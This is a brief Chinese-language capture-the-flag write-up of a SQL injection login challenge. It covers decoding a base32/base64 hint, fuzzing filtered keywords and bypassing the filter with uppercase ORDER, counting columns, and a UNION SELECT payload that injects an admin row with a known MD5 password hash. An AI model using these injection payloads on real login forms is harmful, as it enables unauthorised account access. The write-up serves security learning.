这题也是够简陋的了
先随便输入一个账号密码,然后显示wrong user
当账号为admin时,显示wrong pass
查看源码发现一串字符
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
先base32编码再base64编码可以得到
select * from user where username = '$name'
在UserName中输入单引号出现报错,说明存在SQL注入
fuzz测试了一下,以下均被过滤,不过可以看出来order虽然被过滤,但是大写就可以绕过
or xor ( ) = '1'='1 oorr floor rand() information_schema.tables concat_ws() order CAST() ord for =
然后查询表列数
name=1' ORDER by 1#&pw=a
name=1' ORDER by 2#&pw=a
name=1' ORDER by 3#&pw=a
name=1' ORDER by 4#&pw=a -- 报错
所以表格有三列
name=' union select 'admin',2,3#&pw=a -- wrong user
name=' union select 1,'admin',3#&pw=a -- wrong pass
这说明user是第二列,其实可以猜到的
所以合理猜测后端是先判断name是否等于admin,然后判断md5(pw)是否等于数据库中的密码,所以payload为
name=' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
-- md5(123) = 202cb962ac59075b964b07152d234b70
得到flag